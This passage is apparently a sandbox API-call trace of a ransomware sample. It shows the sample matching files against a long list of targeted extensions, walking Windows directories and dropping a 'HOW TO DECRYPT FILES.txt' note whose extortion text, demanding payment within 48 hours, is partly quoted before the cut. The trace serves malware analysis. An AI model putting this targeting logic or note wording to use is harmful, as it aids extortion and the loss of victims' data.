pszSpec="*.jpeg") returned 0 [0103.072] lstrlenA (lpString="*.jpeg") returned 6 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.072] lstrlenA (lpString="*.jpg") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.072] lstrlenA (lpString="*.png") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.072] lstrlenA (lpString="*.php") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.072] lstrlenA (lpString="*.cs") returned 4 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.072] lstrlenA (lpString="*.cpp") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.072] lstrlenA (lpString="*.rar") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.072] lstrlenA (lpString="*.zip") returned 5 [0103.072] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.072] lstrlenA (lpString="*.html") returned 6 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.073] lstrlenA (lpString="*.htm") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.073] lstrlenA (lpString="*.xlsx") returned 6 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.073] lstrlenA (lpString="*.xls") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.073] lstrlenA (lpString="*.mp4") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.073] lstrlenA (lpString="*.ppt") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.073] lstrlenA (lpString="*.pptx") returned 6 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.073] lstrlenA (lpString="*.doc") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.073] lstrlenA (lpString="*.dot") returned 5 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.073] lstrlenA (lpString="*.docx") returned 6 [0103.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.074] lstrlenA (lpString="*.7z") returned 4 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.074] lstrlenA (lpString="*.tar") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.074] lstrlenA (lpString="*.bz2") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.074] lstrlenA (lpString="*.gz") returned 4 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.074] lstrlenA (lpString="*.mkv") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.074] lstrlenA (lpString="*.eml") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.074] lstrlenA (lpString="*.msg") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.074] lstrlenA (lpString="*.edb") returned 5 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.074] lstrlenA (lpString="*.accdb") returned 7 [0103.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.074] lstrlenA (lpString="*.odb") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.075] lstrlenA (lpString="*.java") returned 6 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.075] lstrlenA (lpString="*.asm") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.075] lstrlenA (lpString="*.pfx") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.075] lstrlenA (lpString="*.pem") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.075] lstrlenA (lpString="*.p12") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.075] lstrlenA (lpString="*.gpg") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.075] lstrlenA (lpString="*.vsd") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.075] lstrlenA (lpString="*.odg") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.075] lstrlenA (lpString="*.raw") returned 5 [0103.075] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.076] lstrlenA (lpString="*.nef") returned 5 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.076] lstrlenA (lpString="*.svg") returned 5 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.076] lstrlenA (lpString="*.psd") returned 5 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.076] lstrlenA (lpString="*.vmx") returned 5 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.076] lstrlenA (lpString="*.vmdk") returned 6 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.076] lstrlenA (lpString="*.vdi") returned 5 [0103.076] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.076] lstrlenA (lpString="*.lay6") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.077] lstrlenA (lpString="*.mpeg") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.077] lstrlenA (lpString="*.djvu") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.077] lstrlenA (lpString="*.tiff") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.077] lstrlenA (lpString="*.backup") returned 8 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.077] lstrlenA (lpString="*.pdf") returned 5 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.077] lstrlenA (lpString="*.cert") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.077] lstrlenA (lpString="*.docm") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.077] lstrlenA (lpString="*.xlsm") returned 6 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.077] lstrlenA (lpString="*.dwg") returned 5 [0103.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.078] lstrlenA (lpString="*.nd") returned 4 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.078] lstrlenA (lpString="*.tlg") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.078] lstrlenA (lpString="*.lgb") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.078] lstrlenA (lpString="*.mov") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.078] lstrlenA (lpString="*.xdw") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.078] lstrlenA (lpString="*.ods") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.078] lstrlenA (lpString="*.wav") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.078] lstrlenA (lpString="*.mp3") returned 5 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.078] lstrlenA (lpString="*.aiff") returned 6 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.078] lstrlenA (lpString="*.flac") returned 6 [0103.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.079] lstrlenA (lpString="*.m4a") returned 5 [0103.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.079] lstrlenA (lpString="*.csv") returned 5 [0103.079] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2669c190, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x2669c190, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x266c22f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x13da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.079] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.079] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f0150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e9f0150, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e9f0150, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8c6bac317f75b51647ea3a8da141b143", cAlternateFileName="8C6BAC~1")) returned 1 [0103.079] lstrcmpA (lpString1=".", lpString2="8c6bac317f75b51647ea3a8da141b143") returned -1 [0103.079] lstrcmpA (lpString1="..", lpString2="8c6bac317f75b51647ea3a8da141b143") returned -1 [0103.079] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.079] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="8c6bac317f75b51647ea3a8da141b143" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143" [0103.079] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143") returned 100 [0103.079] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f0150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e9f0150, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e9f0150, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.080] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f0150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e9f0150, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e9f0150, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.080] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.080] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9a3e90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e9a3e90, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e9c9ff0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x34800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.080] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.080] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0103.080] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0103.081] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0103.081] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\*.*") returned="*.*" [0103.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\" [0103.081] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\") returned="" [0103.081] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\HOW TO DECRYPT FILES.txt" [0103.081] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\8c6bac317f75b51647ea3a8da141b143\\how to decrypt files.txt")) returned 0xffffffff [0103.081] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\8c6bac317f75b51647ea3a8da141b143\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.094] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover 